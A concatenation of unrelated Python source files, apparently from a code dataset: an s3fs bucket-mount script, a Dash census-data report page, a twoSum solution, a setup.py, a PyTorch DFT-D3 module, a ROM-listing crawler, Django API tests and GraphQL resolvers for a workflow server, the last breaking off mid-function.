bucket_names="dJEoQNYTEzUXmvtfxFjORAdvrSpvFJum,kcdwRhBRFHIrgeMQnriVpEmeoOgSPrcn,jLyCUEpKBxrixFQRyaxhPwhtMpKqpXjP,GUEOIpiGjcpDArjtCixNdsnvAItKbYaH,moALuXyROLzIGcShSsJWIowMQPVcVlTU",
bucket_mount_path="/data/inputs/s3/",
s3fs_creds_file="/home/ubuntu/.passwd-s3fs-oracle-test",
oracle_url="https://lrbvkel2wjot.compat.objectstorage.uk-london-1.oraclecloud.com",
user_uid="1001",
user_gid="1001",
):
bucket_names = bucket_names.split(",")
bucket_mount_path = pathlib.Path(bucket_mount_path)
logging.warning("here we go!!")
for bucket_name in bucket_names:
bucket_name = bucket_name.strip()
bucket_path = bucket_mount_path / bucket_name
if is_path_mounted(bucket_path):
logging.info(f"path {bucket_path} already mounted")
continue
logging.info(f"Bucket {bucket_name} to be mounted in {bucket_path}")
bucket_path.mkdir(exist_ok=True)
mount_cmd = f"s3fs {bucket_name} {bucket_path} -o passwd_file={s3fs_creds_file} -o url={oracle_url} -o use_path_request_style -o uid={user_uid},gid={user_gid}"
logging.info(f"s3fs cmd: {mount_cmd}")
try:
subprocess.check_output(shlex.split(mount_cmd))
except subprocess.CalledProcessError:
logging.error(f"Couldn't mount bucket {bucket_name}")
if is_path_mounted(bucket_path):
logging.info("success")
else:
logging.error(f"s3fs silently failed on path {bucket_path}. Are you sure this is correct?")
if __name__ == "__main__":
argh.dispatch_commands([go])
| python |
# Page ID: C
# The 3rd tab on the menu
import dash_core_components as dcc
import dash_html_components as html
import plotly.graph_objs as go
from utils import Header, make_dash_table
import pandas as pd
import pathlib
def create_layout(app, region, region_code, view_style):
##########################################################################################################
pageID = 5
# get relative data folder
PATH = pathlib.Path(__file__).parent
DATA_PATH = PATH.joinpath("../prefetched/" + str(region_code)).resolve()
# TO-DO:
# Function ID: F-C-01
# So, basically data is pre-cached to add proper column names and such.
# A separated package needs to add on top of this to pull data from the
# database. This also gives the ground for us if the database is broken
# for whatever reason?
df_Language = pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[0, 52, 53, 54])
df_Family = pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[0, 57, 58, 59, 60])
# Extract the fiscal year
# This block of code is re-usable. But can't be fucked to .... Umm, what you call it, make into a module
df_fiscal_year = pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[0])
max_length = len(df_fiscal_year) # the max out index for the column
# Starting index set to 1 instead of 0, since we want to remove the header name of the column.
fiscal_year = [int(item[0]) for item in df_fiscal_year.values[1:max_length]]
##########################################################################################################
return html.Div(
[
Header(app, region, view_style, pageID),
# page 3
html.Div(
[
# Row 1
html.Div(
[
# TO-DO:
# Box ID: T-C-01
# Not sure what we want here, maybe we need some more detailed stuff?
# Maybe some disclaimer stuff? Since it is a part of the demographic
# data, so I am not sure in this case.
# html.H6([html.Strong("Introduction")], className="subtitle padded"),
html.Strong(
# TO-DO:
# Box ID: T-C-02
# I am not sure what is the best way to describe the data here.
# The description on the quick data report page doesn't make
# too much sense to me.
"\
This report recognizes that there may be special needs in populations where English \
is not the first language and includes information about households that are limited \
English speaking. It is important to note that low income and linguistic isolation \
are only two factors for families that may put children at risk of academic failure, \
and this report does not provide data about other factors.",
style={"color": "#000000"},
className="row",
),
],
),
# Row 2
html.Div(
[
html.Div(
[
html.H6(
[html.Strong("Household Language at "+ region)], className="subtitle padded"
),
# TO-DO:
# Table ID: B-C-01
# Cuz I am a lazy fuck want something real fast to be done.
# Sooooo, I didn't use the plotly's dash make table.
# Instead, I use the html.Table.
# Pros: 1. Shit is lightening ass fast to render, instant, period.
# This is way faster than needing the dash and plotly package
# to run in the background. There are a couple milliseconds'
# delay.
# 2. Lazy, can't go wrong or trigger error.
# It is just pouring an Excel file there, what could go wrong?
# Maybe you forgot to import the file?
# Cons: 1. No style, period.
# Well, plotly is funny, you'd assume that the html based style
# tags will work right? Hecc, no!
# 2. No sorting and other fancy operations.
# You, just can't... It is as miserable as our life in 2020...
# 3. Isn't that enough cons?
html.Table(
make_dash_table(df_Language),
# So for the fuck sake, text align and filled color doesn't work.
# Guess we can only change .css?
# style={
# # "background-color": "#ffffff",
# }
),
# html.P("**** refers to the variable wasn't sampled at the given time."),
],
# Currently still using 6 columns, even though it can be less. :/
className="six columns",
),
# Plot ID: P-C-01
# This one is for the language, well, more like for Spanish.
# Now, let's add a graph to it!
html.Div(
[
html.Br([]),
html.Strong(
"Number of Household Speaking Spanish",
style={"color": "#3a3a3a",
# For the padding, you can have reference from:
# https://community.plotly.com/t/center-alignment-for-html-div-dcc-slider/12337/5
# The percentage requires some serious maneuvering. :)
"padding-left": "25%"},
),
html.Br([]),
html.Strong(
"and Other Languages",
style={"color": "#3a3a3a",
# For the padding, you can have reference from:
# https://community.plotly.com/t/center-alignment-for-html-div-dcc-slider/12337/5
# The percentage requires some serious maneuvering. :)
"padding-left": "41%"},
),
dcc.Graph(
# The title of the plot is in the block above, scroll back up!
id="graph-B1",
figure={
"data": [
go.Bar(
x=fiscal_year,
# This shit is hard coded to hell
y=[int(item[0]) for item in
pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"),
usecols=[53]).values[1:max_length]],
#line={"color": "#97151c"},
#mode="markers+lines",
marker=dict(color='#03fcba'), #set color bar to Gold
name="Spanish",
),
go.Bar(
x=fiscal_year,
y=[int(item[0]) for item in
pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"),
usecols=[54]).values[1:max_length]],
#line={"color": "#30151c"},
marker=dict(color='#8732db'), #Set colobar to silver
#mode="markers+lines",
name="Other Languages",
)
],
# For the layout configuration, please see:
# https://plotly.com/python/line-and-scatter/
# Good luck?
"layout": go.Layout(
autosize=True,
title="",
font={"family": "Raleway", "size": 10},
height=200,
width=360,
hovermode="closest",
legend={
# Modified the x value so that it can be shifted to the center.
# Default is to "xanchor" to the left. Which gives the best position.
# However, it is yet to be the center of the plot.
# Plotly's legend system is pretty fucked as we speak today.
# The official documentation is rubbish, go see here:
# https://stackoverflow.com/questions/60123611/how-to-position-legends-inside-a-plot-in-plotly
# and also:
# https://github.com/plotly/plotly.js/issues/53
# https://stackoverflow.com/questions/41599166/python-plotly-legend-positioning-and-formatting
"x": 0.2377108433735,
"y": -0.142606516291,
"orientation": "h",
# "xanchor": "left", # Can be center and right
# "yanchor": "top", # Can be bottom and center if you fancy
},
margin={
"r": 20,
"t": 20,
"b": 20,
"l": 50,
},
showlegend=True,
xaxis={
"autorange": True,
"linecolor": "rgb(0, 0, 0)",
"linewidth": 1,
# It is -2 here cuz there is a stupid header row
# Otherwise it should be -1 since the index starts with 0
# Therefore, don't waste 10 minutes like me trying to figure
# this shit out...
"range": [fiscal_year[0], fiscal_year[max_length - 2]],
"showgrid": False,
"showline": True,
# I mean. Everyone knows it is year.
# "title": "Fiscal Year",
"type": "linear",
},
yaxis={
"autorange": True,
"gridcolor": "rgba(127, 127, 127, 0.2)",
"mirror": False,
# The following controls how many side legends you want.
"nticks": 10,
# TO-DO:
# Function ID: F-C-02
# As for now, the range is hard coded since I can't be fucked.
# So, sorry, let's just use this thing for now!
# In the future, the range should be calculated accordingly.
#"range": [500, 3000],
"showgrid": True,
"showline": True,
"ticklen": 10,
"ticks": "outside",
"title": "Children",
"type": "linear",
"zeroline": False,
"zerolinewidth": 4,
},
),
},
# Please leave it as disabled, otherwise when you export,
# there will be an ugly-ass bar on top of the graph.
config={"displayModeBar": False},
),
],
# Currently still using 6 columns, even though it can be less. :/
className="six columns",
),
# html.Div(
# [
# html.P(
# "Calibre Index Fund seeks to track the performance of\
# a benchmark index that measures the investment return of large-capitalization stocks."
# ),
# html.P(
# "Learn more about this portfolio's investment strategy and policy."
# ),
# ],
# className="eight columns middle-aligned",
# style={"color": "#696969"},
# ),
],
className="row ",
),
# Row 3
html.Br([]),
html.Div(
[
html.Div(
[
html.H6(
[html.Strong("Working Families at "+ region)],
className="subtitle padded",
),
html.Table(
# TO-DO:
# Table ID: B-C-02
# So right now, as in B-C-01, we are sill doing the base html table drawing.
# Therefore, in the future, make it better!
make_dash_table(df_Family),
className="tiny-header",
),
],
className="six columns",
),
# TO-DO:
# Plot ID: P-C-02
# This one is for the working family thing. But to be honest, I don't think either line or
# bar plots are the correct thing to do. Honestly, what I have in mind is something like
# for circles, aka, using the plotly.shape thing. For more information, go visit here :
# https://plotly.com/python/shapes/
# Since I am an imbecile, I don't wanna crash the existing layout. So after the first
# stable release, I'd go figure this out again in later on?
html.Div(
[
html.Br([]),
html.Strong(
"Children by Working Family Condition",
style={"color": "#3a3a3a",
# For the padding, you can have reference from:
# https://community.plotly.com/t/center-alignment-for-html-div-dcc-slider/12337/5
# The percentage requires some serious maneuvering. :)
"padding-left": "25%"},
),
dcc.Graph(
# The title of the plot is in the block above, scroll back up!
id="graph-B1",
figure={
"data": [
go.Scatter(
x=fiscal_year,
# This shit is hard coded to hell
y=[int(item[0]) for item in
pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"),
usecols=[57]).values[1:max_length]],
line={"color": "#97151c"},
mode="markers+lines",
name="2 Parents",
),
go.Scatter(
x=fiscal_year,
y=[int(item[0]) for item in
pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"),
usecols=[58]).values[1:max_length]],
line={"color": "#30151c"},
mode="markers+lines",
name="2 Working Parents",
),
go.Scatter(
x=fiscal_year,
y=[int(item[0]) for item in
pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"),
usecols=[59]).values[1:max_length]],
line={"color": "#2972b1"},
mode="markers+lines",
name="1 Parent",
),
go.Scatter(
x=fiscal_year,
y=[int(item[0]) for item in
pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"),
usecols=[60]).values[1:max_length]],
line={"color": "#617749"}, # The color codes are coming out of my ass.
# Go figure out some newer/better ones if needed.
mode="markers+lines",
name="1 Working Parent",
),
],
# For the layout configuration, please see:
# https://plotly.com/python/line-and-scatter/
# Good luck?
"layout": go.Layout(
autosize=True,
title="",
font={"family": "Raleway", "size": 10},
height=200,
width=360,
hovermode="closest",
legend={
# Modified the x value so that it can be shifted to the center.
# Default is to "xanchor" to the left. Which gives the best position.
# However, it is yet to be the center of the plot.
# Plotly's legend system is pretty fucked as we speak today.
# The official documentation is rubbish, go see here:
# https://stackoverflow.com/questions/60123611/how-to-position-legends-inside-a-plot-in-plotly
# and also:
# https://github.com/plotly/plotly.js/issues/53
# https://stackoverflow.com/questions/41599166/python-plotly-legend-positioning-and-formatting
# But I *REALLY* hate this thing lol
"x": 0.0877108433735,
"y": -0.142606516291,
"orientation": "h",
# "xanchor": "left", # Can be center and right
# "yanchor": "top", # Can be bottom and center if you fancy
},
margin={
"r": 20,
"t": 20,
"b": 20,
"l": 50,
},
showlegend=True,
xaxis={
"autorange": True,
"linecolor": "rgb(0, 0, 0)",
"linewidth": 1,
# It is -2 here cuz there is a stupid header row
# Otherwise it should be -1 since the index starts with 0
# Therefore, don't waste 10 minutes like me trying to figure
# this shit out...
"range": [fiscal_year[0], fiscal_year[max_length - 2]],
"showgrid": False,
"showline": True,
# I mean. Everyone knows it is year.
# "title": "Fiscal Year",
"type": "linear",
},
yaxis={
"autorange": True,
"gridcolor": "rgba(127, 127, 127, 0.2)",
"mirror": False,
# The following controls how many side legends you want.
"nticks": 10,
# TO-DO:
# Function ID: F-C-03
# As for now, the range is hard coded since I can't be fucked.
# So, sorry, let's just use this thing for now!
# In the future, the range should be calculated accordingly.
"showgrid": True,
"showline": True,
"ticklen": 5,
"ticks": "outside",
"title": "Children",
"type": "linear",
"zeroline": False,
"zerolinewidth": 4,
},
),
},
),
],
className="six columns",
),
],
className="row "
),
# Row 4
html.Div(
[
html.Div(
[
],
# TO-DO:
# Function ID: F-C-04
# It has to be more than 9 columns due to the shear amount of, not data,
# but the text in the header of each column. I don't know if the naming
# can be reduced or not, since to me, the "non-hispanic or latino" at
# the end of some of the column names is just redundant. But, What do I
# know about census and kids data you might wonder? So I just leave it
# to you guys. Man! Have fun!
className=" twelve columns",
),
],
className="row ",
),
html.Div(
[
html.Br([]),
html.Br([]),
html.Br([]),
]
),
# Row 5
html.Div(
[
html.Div(
[
html.H6(
html.Strong(["Footnote"]),
className="subtitle padded",
),
#html.Br([]),
# html.P("My brain doesn't work well when sun is about to come up... Noctis @ 5am."),
],
className=" twelve columns",
),
html.Div(
[
html.P(
"Language numbers are provided for:",
),
html.Li(
"Number of households speaking Spanish at home that are limited English-speaking households",
),
html.Li(
"Number of households speaking other non-English languages at home that are limited English-speaking households",
),
# html.P(
# "Working family numbers are provided for:",
# ),
# html.Li(
# "Children living with one or two working parents may be more likely to need early care and education services.",
# ),
# html.Li(
# "This report provides data on the number of children living in one and two parent families and the number of children who have working parents.",
# ),
html.P(
"IECAM demographers prepared this data based on Census Bureau estimates from the Population Estimates Program and the American Community Survey (5 year).",
),
# html.Li(
# "Population Estimates Program",
# ),
# html.Li(
# "American Community Survey, 5-year estimate",
# )
],
className=" twelve columns"
),
],
className="row ",
),
# Row
html.Div(
[
html.Div(
[
# html.H6(
# ["Maybe we also need footnotes for all these data."],
# className="subtitle padded",
# ),
],
className=" twelve columns",
)
],
className="row ",
)
],
className="sub_page",
),
],
className="page",
)
| python |
class Solution:
def twoSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
num_dict = {}
for index, value in enumerate(nums):
if target - value in num_dict:
return [num_dict[target - value], index]
num_dict[value] = index
| python |
"""
At the moment tensor will be a simple
n-dimensional array, later It will
be some more complex object
"""
from numpy import ndarray as Tensor
| python |
from setuptools import setup, find_packages
from codecs import open
from os import path
__version__ = '0.1'
__author__ = 'Ilya Zhivetiev'
__email__ = 'i.zhivetiev@gnss-lab.org'
here = path.abspath(path.dirname(__file__))
with open(path.join(here, 'README.rst'), encoding='utf-8') as f:
long_description = f.read()
setup(
name='ionex',
description='',
long_description=long_description,
version=__version__,
url='https://github.com/gnss-lab/ionex',
author=__author__,
author_email=__email__,
license='MIT',
classifiers=[
'Development Status :: 4 - Beta',
'Intended Audience :: Science/Research',
'Intended Audience :: Developers',
'Topic :: Software Development',
'Topic :: Scientific/Engineering',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
],
keywords='ionosphere gnss tec development',
packages=find_packages(exclude=['docs', 'tests']),
include_package_data=True,
install_requires=[],
python_requires='>=3',
extras_require={
'test': [
'pytest',
'coverage',
],
},
)
| python |
import os
from pathlib import Path
from typing import Dict, Optional
import numpy as np
import torch
from ase.units import Bohr
from torch import Tensor
from torch_dftd.functions.dftd3 import d3_autoang, d3_autoev, edisp
from torch_dftd.functions.distance import calc_distances
from torch_dftd.nn.base_dftd_module import BaseDFTDModule
class DFTD3Module(BaseDFTDModule):
"""DFTD3Module
Args:
params (dict): xc-dependent parameters. alp, s6, rs6, s18, rs18.
cutoff (float): cutoff distance in angstrom. Default value is 95bohr := 50 angstrom.
cnthr (float): coordination number cutoff distance in angstrom.
Default value is 40bohr := 21 angstrom.
abc (bool): ATM 3-body interaction
dtype (dtype): internal calculation is done in this precision.
bidirectional (bool): calculated `edge_index` is bidirectional or not.
"""
def __init__(
self,
params: Dict[str, float],
cutoff: float = 95.0 * Bohr,
cnthr: float = 40.0 * Bohr,
abc: bool = False,
dtype=torch.float32,
bidirectional: bool = False,
cutoff_smoothing: str = "none",
):
super(DFTD3Module, self).__init__()
# relative filepath to package folder
d3_filepath = str(Path(os.path.abspath(__file__)).parent / "params" / "dftd3_params.npz")
d3_params = np.load(d3_filepath)
c6ab = torch.tensor(d3_params["c6ab"], dtype=dtype)
r0ab = torch.tensor(d3_params["r0ab"], dtype=dtype)
rcov = torch.tensor(d3_params["rcov"], dtype=dtype)
r2r4 = torch.tensor(d3_params["r2r4"], dtype=dtype)
# (95, 95, 5, 5, 3) c0, c1, c2 for coordination number dependent c6ab term.
self.register_buffer("c6ab", c6ab)
self.register_buffer("r0ab", r0ab) # atom pair distance (95, 95)
self.register_buffer("rcov", rcov) # atom covalent distance (95)
self.register_buffer("r2r4", r2r4) # (95,)
if cnthr > cutoff:
print(
f"WARNING: cnthr {cnthr} is larger than cutoff {cutoff}. "
f"cutoff distance is used for cnthr"
)
cnthr = cutoff
self.params = params
self.cutoff = cutoff
self.cnthr = cnthr
self.abc = abc
self.dtype = dtype
self.bidirectional = bidirectional
self.cutoff_smoothing = cutoff_smoothing
def calc_energy_batch(
self,
Z: Tensor,
pos: Tensor,
edge_index: Tensor,
cell: Optional[Tensor] = None,
pbc: Optional[Tensor] = None,
shift_pos: Optional[Tensor] = None,
batch: Optional[Tensor] = None,
batch_edge: Optional[Tensor] = None,
damping: str = "zero",
) -> Tensor:
"""Forward computation to calculate atomic wise dispersion energy"""
shift_pos = pos.new_zeros((edge_index.size()[1], 3, 3)) if shift_pos is None else shift_pos
pos_bohr = pos / d3_autoang # angstrom -> bohr
if cell is None:
cell_bohr: Optional[Tensor] = None
else:
cell_bohr = cell / d3_autoang # angstrom -> bohr
shift_bohr = shift_pos / d3_autoang # angstrom -> bohr
r = calc_distances(pos_bohr, edge_index, cell_bohr, shift_bohr)
# E_disp (n_graphs,): Energy in eV unit
E_disp = d3_autoev * edisp(
Z,
r,
edge_index,
c6ab=self.c6ab, # type:ignore
r0ab=self.r0ab, # type:ignore
rcov=self.rcov, # type:ignore
r2r4=self.r2r4, # type:ignore
params=self.params,
cutoff=self.cutoff / Bohr,
cnthr=self.cnthr / Bohr,
batch=batch,
batch_edge=batch_edge,
shift_pos=shift_bohr,
damping=damping,
cutoff_smoothing=self.cutoff_smoothing,
bidirectional=self.bidirectional,
abc=self.abc,
pos=pos_bohr,
cell=cell_bohr,
)
return E_disp
| python |
import urllib
from engine import DownloadLink
S = urllib.URLopener()
class Crawler():
baseurl = 'http://romhustler.net/roms/'
splittext = \
[
'''\
<p>Some titles on the list might not have a download link available. This is because these specific titles are <span class="important">ESA protected</span>. We <span class="important">cannot</span> offer any downloads for games that fall under ESA protection, thank you for understanding.</p>
<ul class="special">\
'''
]
def splitter(self, link):
#print(link)
f = S.open(link)
data = f.read()
f.close()
games = []
try:
data = data.split(self.splittext[0])[1].split(self.splittext[1])[0]
data = data.split('\n')
except:
data = []
try:
for x in data:
if x != '':
listing = x.split('<li><a href=')[1]
listing = listing.split('">')
listing[0] = 'http://romhustler.net' + listing[0].split('"')[1]
listing[1] = listing[1].split('</a></li>')[0]
games.append(listing)
except IndexError:
games = []
return games
def search(self, game, listings):
games = []
for x in listings:
if game.lower() in x[1].lower():
games.append(x)
return games
def partsplitter(self, games):
urls = {'game name goes here': ['urls', 'go here']}
for x in games:
n = x[1].split(' part ')
if n[0] not in urls:
urls[n[0]] = [x[0]]
elif n[0] in urls:
urls[n[0]] += [x[0]]
if urls['game name goes here'] == ['urls', 'go here']: del urls['game name goes here']
games = []
items = []
for x in urls:
items.append(x)
items.sort()
for x in items:
l = []
for y in urls[x]:
l.append(y)
games.append([l, x])
return games
def __init__(self, game, system, debug=0):
self.abbrs = DownloadLink.abbrs
self.abbrs2 = DownloadLink.abbrs2
if system in self.abbrs.keys():
#print((self.baseurl+system.lower()+'/'+game[0].lower()))
listings = self.splitter(self.baseurl+system.lower()+'/'+game[0].lower())
elif system in self.abbrs2.keys():
#print((self.baseurl+self.abbrs2[system].lower()+'/'+game[0].lower()))
listings = self.splitter(self.baseurl+self.abbrs2[system].lower()+'/'+game[0].lower())
if debug == 0:
games = self.search(game, listings)
self.multi = 0
if system in ['3do', 'psx', 'segacd']:
#games = self.partsplitter(games)
self.multi = 1
games = self.partsplitter(games)
self.games = games
| python |
import pytest
pytestmark = [pytest.mark.django_db]
def test_no_anon(anon):
anon.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=401)
@pytest.mark.usefixtures('unpaid_order')
def test_404_for_not_purchased_materials(api, fetch_page_recursively):
api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=404)
fetch_page_recursively.assert_not_called()
@pytest.mark.usefixtures('unpaid_order')
def test_ok_for_superuser(api):
api.user.is_superuser = True
api.user.save()
api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=200)
@pytest.mark.usefixtures('unpaid_order')
def test_ok_for_user_with_permissions(api):
api.user.add_perm('notion.material.see_all_materials')
api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=200)
@pytest.mark.usefixtures('unpaid_order')
def test_superusers_do_not_fail_when_two_materials_with_the_same_id_are_present(api, mixer):
api.user.add_perm('notion.material.see_all_materials')
mixer.cycle(2).blend('notion.Material', page_id='0e5693d2173a4f77ae8106813b6e5329')
api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=200)
| python |
from collections import defaultdict
from typing import Union
from ariadne import QueryType, MutationType, ScalarType, ObjectType
from flowsaber.server.database.db import DataBase
from flowsaber.server.database.models import *
def ch_id(data: dict) -> dict:
if "_id" in data:
data['id'] = data.pop('_id')
elif "id" in data:
data['_id'] = data.pop("id")
return data
def get_time_exp(input) -> dict:
exp = {}
before = getattr(input, 'before')
after = getattr(input, 'after')
if after:
exp['$gt'] = after
if before:
exp['$lt'] = before
return exp
def update_notnone_exp(data: dict):
# Note: does not check for list
exp = {}
def resolve(value, prevk=""):
for k, v in value.items():
if isinstance(v, dict):
resolve(v, f"{k}.")
elif v is not None:
exp[f'{prevk}{k}'] = v
resolve(data)
exp.pop("id", None)
exp.pop("_id", None)
return {"$set": exp}
def get_field(obj: Union[BaseModel, dict], filed: str):
if isinstance(obj, BaseModel):
return getattr(obj, filed)
else:
return obj[filed]
def get_resolvers(db: DataBase):
assert isinstance(db, DataBase)
query = QueryType()
mutation = MutationType()
agent = ObjectType("Agent")
flow = ObjectType("Flow")
task = ObjectType("Task")
flowrun = ObjectType("FlowRun")
timestamp_scalar = ScalarType("TimeStamp")
uuid_scalar = ScalarType("UUID")
json_scalar = ScalarType("JSON")
@timestamp_scalar.serializer
def serialize_timestamp(value: float) -> float:
assert isinstance(value, float)
return value
@uuid_scalar.serializer
def serialize_uuid(value: str) -> str:
assert isinstance(value, str)
return value
@json_scalar.serializer
def serialize_json(value: dict) -> dict:
assert isinstance(value, dict)
return value
# query
@query.field('hello')
async def hello(obj, info) -> str:
return "Hello!"
@query.field('get_agent')
async def get_agent(obj, info, input: str) -> dict:
agent_id = input
agent_dict = await db.agent.find_one({"_id": agent_id})
return ch_id(agent_dict)
@query.field('get_agents')
async def get_agents(obj, info) -> List[dict]:
agents = []
async for agent_dict in db.agent.find({}):
agents.append(ch_id(agent_dict))
return agents
@query.field("get_flow")
async def get_flow(obj, info, input: str) -> Flow:
flow_id = input
flow_dict = await db.flow.find_one({"_id": flow_id})
flow_dict = ch_id(flow_dict)
flow = Flow(**flow_dict)
return flow
@query.field("get_flows")
async def get_flows(obj, info, input: dict) -> List[dict]:
input = GetFlowsInput(**input)
exp = {}
if input.id or input.name or input.labels:
exp.update({
"$or":
[
{'_id': {'$in': input.id}},
{"name": {"$in": input.name}},
{"labels": {"$all": input.labels}}
]
})
flows = []
async for flow_dict in db.flow.find(exp):
flows.append(ch_id(flow_dict))
return flows
@query.field("get_taskrun")
async def get_taskrun(obj, info, input: str) -> TaskRun:
taskrun_id = input
taskrun_dict = await db.taskrun.find_one({"_id": taskrun_id})
taskrun_dict = ch_id(taskrun_dict)
taskrun = TaskRun(**taskrun_dict)
return taskrun
@query.field("get_taskruns")
async def get_taskruns(obj, info, input: dict) -> List[dict]:
input = GetTaskRunsInput(**input)
exp = {}
has_or_exp = input.id or input.task_id or input.flow_id
if has_or_exp:
exp.update({
"$or":
[
{"_id": {"$in": input.id}},
{'task_id': {"$in": input.task_id}},
{"flow_id": {"$in": input.flow_id}},
]
})
if input.flowrun_id:
exp.update({
"flowrun_id": {"$in": input.flowrun_id},
})
if input.agent_id:
exp.update({
"agent_id": {"$in": input.agent_id},
})
if input.state_type:
exp.update({
"state.state_type": {"$in": input.state_type}
})
if input.before or input.after:
time_exp = get_time_exp(input)
exp.update({"start_time": time_exp})
taskruns = []
async for taskrun_dict in db.taskrun.find(exp):
taskruns.append(ch_id(taskrun_dict))
return taskruns
@query.field("get_flowrun")
async def get_flowrun(obj, info, input: str) -> FlowRun:
flowrun_id = input
flowrun_dict = await db.flowrun.find_one({"_id": flowrun_id})
if flowrun_dict:
flowrun_dict = ch_id(flowrun_dict)
flowrun = FlowRun(**flowrun_dict)
else:
# for check_cancelling task, return a fake one
flowrun = {'state': {'state_type': "Scheduled"}}
return flowrun
@query.field("get_flowruns")
async def get_flowruns(obj, info, input: dict) -> List[dict]:
input = GetFlowRunsInput(**input)
exp = {}
has_or_exp = input.id or input.flow_id or input.name or input.labels
if has_or_exp:
exp.update({
"$or":
[
{"_id": {"$in": input.id}},
{"flow_id": {"$in": input.flow_id}},
{"name": {"$in": input.name}},
{"labels": {"$all": input.labels}},
]
})
if input.agent_id:
exp.update({
"agent_id": {"$in": input.agent_id},
})
if input.state_type:
exp.update({
"state.state_type": {"$in": input.state_type}
})
if input.before or input.after:
time_exp = get_time_exp(input)
exp.update({"start_time": time_exp})
flowruns = []
async for flowrun_dict in db.flowrun.find(exp):
flowruns.append(ch_id(flowrun_dict))
return flowruns
@query.field("get_runlogs")
async def get_runlogs(obj, info, input: dict) -> List[dict]:
input = GetRunLogsInput(**input)
exp = {}
has_or_exp = input.id or input.taskrun_id or input.flowrun_id or input.agent_id
if has_or_exp:
exp.update({
"$or": [
{"_id": {"$in": input.id}},
{"taskrun_id": {"$in": input.taskrun_id}},
{"flowrun_id": {"$in": input.flowrun_id}},
{"agent_id": {"$in": input.agent_id}},
],
})
if input.level:
exp.update({
"level": {"$in": input.level}
})
if input.before or input.after:
time_exp = get_time_exp(input)
exp.update({"time": time_exp})
runlogs = []
async for runlog_dict in db.runlog.find(exp):
runlogs.append(ch_id(runlog_dict))
return runlogs
# mutation
@mutation.field("hello")
async def resolve_write_hello(obj, info):
return SuccessPayload()
@mutation.field("create_agent")
async def create_agent(obj, info, input: dict):
agent_input = AgentInput(**input)
request = info.context['request']
address = request.client.host
agent = Agent(**agent_input.dict(), address=address)
await db.agent.delete_one({"_id": agent.id})
await db.agent.insert_one(ch_id(agent.dict()))
return agent
@mutation.field("delete_agent")
async def delete_agent(obj, info, input: str):
agent_id = input
res = await db.agent.delete_one({"_id": agent_id})
return SuccessPayload(success=res.deleted_count == 1)
@mutation.field("create_flow")
async def create_flow(obj, info, input: dict):
flow_input = FlowInput(**input)
docs_dict = defaultdict(list)
# store channels, tasks, flows
for i, task_input in enumerate(flow_input.tasks):
for j, ch_input in enumerate(task_input.output):
task_input.output[j] = ch_input.id
docs_dict['channel'].append(Channel(**ch_input.dict()))
flow_input.tasks[i] = task_input.id
docs_dict['task'].append(Task(**task_input.dict()))
docs_dict['flow'].append(Flow(**flow_input.dict()))
for collection, docs in docs_dict.items():
docs = [ch_id(doc.dict()) for doc in docs]
await getattr(db, collection).insert_many(docs)
return docs_dict['flow'][0]
@mutation.field("delete_flow")
async def delete_flow(obj, info, input: str):
flow_id = input
res = await db.flow.delete_one({"_id": flow_id})
return SuccessPayload(success=res.deleted_count == 1)
@mutation.field("update_flowrun")
async def update_flowrun(obj, info, input: dict):
flowrun_input = FlowRunInput(**input)
flowrun_id = flowrun_input.id
flowrun = await db.flowrun.find_one({"_id": flowrun_id})
if flowrun is None:
# insert a new flowrun
flowrun = FlowRun(**flowrun_input.dict())
if not flowrun.start_time:
flowrun.start_time = flowrun.last_heartbeat
await db.flowrun.insert_one(ch_id(flowrun.dict()))
# append to agent, flow 's flowruns
await db.agent.update_one({"_id": flowrun.agent_id}, {"$push": {"flowruns": flowrun.id}})
await db.flow.update_one({"_id": flowrun.flow_id}, {"$push": {"flowruns": flowrun.id}})
return flowrun
else:
state_type = flowrun['state']['state_type']
# in cancelling state, only allow cancelled new state
if state_type == "Cancelling":
if flowrun_input.state and flowrun_input.state.state_type != 'Cancelled':
return ch_id(flowrun)
# in cancelled state, do not allow new state
elif state_type == "Cancelled":
return ch_id(flowrun)
update_exp = update_notnone_exp(flowrun_input.dict())
await db.flowrun.update_one({'_id': flowrun_id}, update_exp)
updated_flowrun = await db.flowrun.find_one({"_id": flowrun_id})
return ch_id(updated_flowrun)
@mutation.field("update_taskrun")
async def update_taskrun(obj, info, input: dict):
taskrun_input = TaskRunInput(**input)
taskrun_id = taskrun_input.id
taskrun = await db.taskrun.find_one({"_id": taskrun_id})
if taskrun is None:
# insert a new task run
taskrun = TaskRun(**taskrun_input.dict())
if not taskrun.start_time:
taskrun.start_time = taskrun.last_heartbeat
await db.taskrun.insert_one(ch_id(taskrun.dict()))
# append taskrun into the flowrun
await db.flowrun.update_one({"_id": taskrun.flowrun_id}, {"$push": {"taskruns": taskrun.id}})
return taskrun
else:
update_exp = update_notnone_exp(taskrun_input.dict())
await db.taskrun.update_one({'_id': taskrun_id}, update_exp)
updated_taskrun = await db.taskrun.find_one({"_id": taskrun_id})
return ch_id(updated_taskrun)
@mutation.field("write_runlogs")
async def write_runlogs(obj, info, input: dict):
runlogs_input = RunLogsInput(**input)
run_logs = [ch_id(run_log.dict()) for run_log in runlogs_input.logs]
await db.runlog.insert_many(run_logs)
return SuccessPayload()
#
@flow.field("tasks")
async def resolve_tasks(obj, info) -> List[dict]:
task_ids = get_field(obj, 'tasks')
